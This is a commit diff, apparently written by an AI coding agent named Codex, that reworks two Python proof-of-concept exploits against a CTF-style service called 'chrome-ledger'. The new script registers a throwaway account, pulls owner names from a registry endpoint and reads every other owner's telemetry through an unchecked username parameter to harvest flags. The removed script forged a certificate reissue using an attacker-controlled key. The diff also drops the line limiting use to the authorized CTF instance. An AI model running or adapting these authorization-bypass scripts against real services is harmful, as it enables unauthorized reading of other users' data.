make exploits Neo-compatible

This commit is contained in:
Codex committed 2026-11-29 12:11:35 +00:00
1 parent 1de1130da4
commit 8fed2f0fe7
2 files changed
+68 -78

No files matched your search

+17 -7
View File
@@ -15,6 +15,7 @@ import json
import re import re
import secrets import secrets
import sys import sys
from urllib.parse import urlsplit, urlunsplit
import requests import requests
@@ -22,11 +23,20 @@ import requests
FLAG_RE = re.compile(rb"\b[A-Z0-9]{31}=") FLAG_RE = re.compile(rb"\b[A-Z0-9]{31}=")
def normalize_base_url(target: str, default_port: int) -> str: def service_url(target: str) -> str:
target = target.rstrip("/") raw = target.strip()
if "://" in target: if not raw:
return target raise ValueError("empty target")
return f"http://{target}:{default_port}" if "://" not in raw:
raw = f"http://{raw}"
parsed = urlsplit(raw)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected HTTP target")
if parsed.path not in {"", "/"} or parsed.query or parsed.fragment:
raise ValueError("target must be a host, URL, or URL with no path")
port = parsed.port or 5000
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")).rstrip("/")
def json_response(response: requests.Response): def json_response(response: requests.Response):
@@ -42,11 +52,11 @@ def json_response(response: requests.Response):
def main() -> int: def main() -> int:
parser = argparse.ArgumentParser(description=__doc__) parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("base_url", help="target IP or service URL") parser.add_argument("base_url", help="service URL, e.g. http://10.0.0.5:5000")
parser.add_argument("--record-id", help="specific source record id") parser.add_argument("--record-id", help="specific source record id")
args = parser.parse_args() args = parser.parse_args()
base = normalize_base_url(args.base_url, 5000) base = service_url(args.base_url)
session = requests.Session() session = requests.Session()
username = f"probe_{secrets.token_hex(5)}" username = f"probe_{secrets.token_hex(5)}"
account = json_response(session.post( account = json_response(session.post(
+51 -71
View File
@@ -1,41 +1,45 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""PoC for the pre-fix chrome-ledger ownership/reissue bug. """PoC for the pre-fix chrome-ledger telemetry authorization bug.
The vulnerable service accepted a CSR signed by an attacker-controlled key Older builds accepted an arbitrary ``username`` query parameter on
and did not bind /reissue/<implant_id> to the authenticated owner. The new /home/api/telemetry. The registry endpoint exposes owner names, so a normal
certificate was then returned together with the implant's decrypted details. account could read every owner's telemetry and recover flags stored in the
Use only against the authorized CTF instance. implant metadata. This version uses only the Python standard library plus
the requests package available in the Neo worker image.
""" """
from __future__ import annotations from __future__ import annotations
import argparse import argparse
import base64
import hashlib
import json import json
import re import re
import secrets import secrets
import sys import sys
from typing import Any from urllib.parse import urlencode, urlsplit, urlunsplit
import requests import requests
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import NameOID
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=") FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
def normalize_base_url(target: str, default_port: int) -> str: def service_url(target: str) -> str:
target = target.rstrip("/") raw = target.strip()
if "://" in target: if not raw:
return target raise ValueError("empty target")
return f"http://{target}:{default_port}" if "://" not in raw:
raw = f"http://{raw}"
parsed = urlsplit(raw)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected HTTP target")
if parsed.path not in {"", "/"} or parsed.query or parsed.fragment:
raise ValueError("target must be a host, URL, or URL with no path")
port = parsed.port or 8081
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")).rstrip("/")
def request_json(response: requests.Response) -> Any: def json_response(response: requests.Response):
try: try:
data = response.json() data = response.json()
except ValueError: except ValueError:
@@ -46,78 +50,54 @@ def request_json(response: requests.Response) -> Any:
return data return data
def make_csr(key: ec.EllipticCurvePrivateKey) -> str:
csr = (
x509.CertificateSigningRequestBuilder()
.subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "ctf-client")]))
.sign(key, hashes.SHA256())
)
return csr.public_bytes(serialization.Encoding.PEM).decode("ascii")
def main() -> int: def main() -> int:
parser = argparse.ArgumentParser(description=__doc__) parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("base_url", help="target IP or service URL") parser.add_argument("target", help="Neo target host or chrome-ledger URL")
parser.add_argument("--implant-id", help="specific target implant UUID")
parser.add_argument("--insecure", action="store_true", help="disable TLS certificate verification")
args = parser.parse_args() args = parser.parse_args()
base = normalize_base_url(args.base_url, 8081) base = service_url(args.target)
session = requests.Session() session = requests.Session()
session.verify = not args.insecure username = f"probe_{secrets.token_hex(5)}"
account = json_response(session.post(
username = f"audit_{secrets.token_hex(5)}"
password = secrets.token_urlsafe(18)
auth = request_json(session.post(
f"{base}/register", f"{base}/register",
json={"username": username, "password": password}, json={"username": username, "password": secrets.token_urlsafe(18)},
timeout=10, timeout=8,
)) ))
session.headers["Authorization"] = f"Bearer {auth['access_token']}" session.headers["Authorization"] = f"Bearer {account['access_token']}"
registry = request_json(session.get(f"{base}/home/api/registry", timeout=10)) registry = json_response(session.get(f"{base}/home/api/registry", timeout=8))
targets = [] owners = sorted({
for implant in registry.get("results", []): row.get("owner")
if args.implant_id and implant.get("id") != args.implant_id: for row in registry.get("results", [])
if isinstance(row.get("owner"), str) and row.get("owner") != username
})
if not owners:
raise RuntimeError("registry contains no other owners")
found = []
for owner in owners:
response = session.get(
f"{base}/home/api/telemetry?{urlencode({'username': owner})}",
timeout=8,
)
if response.status_code in (401, 403, 404):
continue continue
active = [c for c in implant.get("certificates", []) if c.get("status") == "active"] data = json_response(response)
if active: print(json.dumps({"owner": owner, "telemetry": data}, indent=2))
targets.append((implant["id"], active[-1]["serial"])) found.extend(FLAG_RE.findall(json.dumps(data)))
if not targets:
raise RuntimeError("no active implant found in registry")
implant_id, serial = targets[0] flags = sorted(set(found))
key = ec.generate_private_key(ec.SECP256R1())
csr_pem = make_csr(key)
digest = hashlib.sha256(
x509.load_pem_x509_csr(csr_pem.encode("ascii")).public_bytes(serialization.Encoding.DER)
).hexdigest()
message = f"reissue:{implant_id}:{serial}:{digest}".encode("ascii")
signature = base64.b64encode(key.sign(message, ec.ECDSA(hashes.SHA256()))).decode("ascii")
result = request_json(session.post(
f"{base}/home/api/reissue/{implant_id}",
json={
"csr_pem": csr_pem,
"certificate_serial": serial,
"signature": signature,
},
timeout=10,
))
print(json.dumps({"target": implant_id, "response": result}, indent=2))
flags = sorted(set(FLAG_RE.findall(json.dumps(result))))
if flags: if flags:
print("flags:") print("flags:")
print("\n".join(flags)) print("\n".join(flags))
else: else:
print("no flags matched; target may already contain the patched ownership check", file=sys.stderr) print("no flags matched; target may have the telemetry ownership fix", file=sys.stderr)
return 0 return 0
if __name__ == "__main__": if __name__ == "__main__":
try: try:
raise SystemExit(main()) raise SystemExit(main())
except (requests.RequestException, KeyError, RuntimeError) as exc: except (requests.RequestException, KeyError, RuntimeError, ValueError) as exc:
print(f"error: {exc}", file=sys.stderr) print(f"error: {exc}", file=sys.stderr)
raise SystemExit(1) raise SystemExit(1)